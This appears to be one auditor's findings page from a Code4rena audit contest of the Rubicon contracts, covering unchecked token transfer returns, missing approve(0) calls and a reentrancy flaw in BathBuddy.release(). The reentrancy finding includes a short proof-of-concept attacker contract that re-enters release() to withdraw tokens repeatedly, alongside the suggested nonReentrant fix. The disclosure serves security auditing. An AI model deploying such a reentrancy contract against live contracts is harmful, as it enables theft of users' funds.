Platform: Code4rena
Start Date: 23/05/2022
Pot Size: $50,000 USDC
Total HM: 44
Participants: 99
Period: 5 days
Judge: hickuphh3
Total Solo HM: 11
Id: 129
League: ETH
Rank: 31/99
Findings: 4
Award: $257.48
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: berndartmueller
Also found by: 0x1f8b, 0xDjango, 0xsomeone, ACai, Bahurum, BouSalman, CertoraInc, Deivitto, Dravee, GimelSec, IllIllI, JMukesh, Kaiziron, PP1004, Ruhum, SmartSek, VAD37, WatchPug, _Adam, aez121, antonttc, blockdev, broccolirob, camden, cccz, cryptphi, defsec, dipp, ellahi, fatherOfBlocks, gzeon, horsefacts, ilan, jayjonah8, joestakey, kenta, kenzo, minhquanym, oyc_109, pauliax, pedroais, peritoflores, sashik_eth, shenwilly, simon135, throttle, xiaoming90, z3s
0.1022 USDC - $0.10
https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L251 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#303 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L320 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L356 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L377 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L374 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L406 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L434 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L451 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L471 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L491 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L548 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L202 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L274 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L366 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L419 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L491 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L531
The smart contract does not check the return value for transfer() and transferFrom() in different functions in the contract.
Occurrences are in: *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L251 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L303 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L320 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L356 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L374 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L377 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L406 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L434 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L451 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L471 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L491 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L548 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L202 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L274 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L366 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L419 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L491 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L531
Manual review
Wrap the call into a require() or use openzeppelin's SafeERC20 library.
#0 - bghughes
2022-06-04T21:03:55Z
Duplicate of #316
🌟 Selected for report: kenzo
Also found by: 0x1f8b, 0xsomeone, Dravee, IllIllI, MaratCerby, berndartmueller, cryptphi, xiaoming90
42.6857 USDC - $42.69
Judge has assessed an item in Issue #220 as Medium risk. The relevant finding follows:
#0 - HickupHH3
2022-06-25T03:41:55Z
Missing approve(0) RubiconRouter.sol approveAssetOnMarket() - line 157 RubiconRouter.sol depositWithETH() - line 465 BathToken.initialize() - line 214 BathToken.approveMarket() - line 256 Impact ERC20.approve() function is called only once without setting the allowance to zero. Some tokens, require first reducing the address' allowance to zero by calling approve(_spender, 0). Transactions will revert when using an unsupported token.
Proof of Concept: *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L157 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L465 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L256
Recommended Mitigation Steps: Use approve(_spender, 0) to set the allowance to zero immediately before each of the existing approve() calls.
dup of #100
The beneficiary is allowed to call release() without any reentrancy guards. The beneficiary may transfer Bath Tokens to a receiver multiple times before _erc20Released[address(token)] gets updated when there is a callback at line 114.
Below is a just a simple re-entrancy contract for the beneficiary to deploy and call to explain above issue.
contract GetMoreBathToken{ BathBuddy bathBuddy; address public token = tokenAddress; uint256 public sharesWithdrawn = sharesWithdrawn; uint256 public initialTotalSupply = initialTotalSupply; uint256 public poolFee = poolFee; constructor(address _bathBuddyAddress) public { bathBuddy = BathBuddy(_bathBuddyAddress); } receive() external payable { if (bathBuddy.released(token) >= 1){ bathBuddy.release(token, address(this), sharesWithdrawn, initialTotalSupply, poolFee); } } function attack() external payable{ bathBuddy.release(token, address(this), sharesWithdrawn, initialTotalSupply, poolFee); } function getBalance() public view returns(uint){ return address(this).balance; }}
Manual review
Add nonReentrant modifier to the declaration of release()
#0 - bghughes
2022-06-03T20:00:37Z
Duplicate of #283
🌟 Selected for report: IllIllI
Also found by: 0x1337, 0x1f8b, 0x4non, 0xDjango, 0xKitsune, 0xNazgul, 0xf15ers, ACai, AlleyCat, Bahurum, BouSalman, CertoraInc, Chom, Dravee, ElKu, FSchmoede, Funen, GimelSec, Hawkeye, JC, JMukesh, Kaiziron, MaratCerby, Metatron, PP1004, Picodes, Ruhum, SmartSek, StErMi, TerrierLover, UVvirus, UnusualTurtle, WatchPug, Waze, _Adam, asutorufos, berndartmueller, blackscale, blockdev, broccolirob, c3phas, catchup, cryptphi, csanuragjain, defsec, delfin454000, dipp, eccentricexit, ellahi, fatherOfBlocks, gzeon, hansfriese, horsefacts, hubble, ilan, joestakey, kebabsec, minhquanym, oyc_109, parashar, pauliax, rotcivegaf, sach1r0, sashik_eth, shenwilly, simon135, sorrynotsorry, sseefried, throttle, unforgiven, xiaoming90
52.0353 USDC - $52.04
Impact ERC20.approve() function is called only once without setting the allowance to zero. Some tokens, require first reducing the address' allowance to zero by calling approve(_spender, 0). Transactions will revert when using an unsupported token.
Proof of Concept: *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L157 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L465 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L256
Recommended Mitigation Steps: Use approve(_spender, 0) to set the allowance to zero immediately before each of the existing approve() calls.
Occurrences are in: BathToken._withdraw() - https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L602 BathToken.rebalance() - https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L353 BathToken.rebalance() - https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L357 BathToken._withdraw() - https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L605 BathToken._deposit() - https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L565
Recommendations: Wrap the call into a require() or use openzeppelin's SafeERC20 library.
Occurrences are in: RubiconRouter._swap() - https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L251 BathToken._withdraw() - https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L588 BathToken._deposit() - https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L557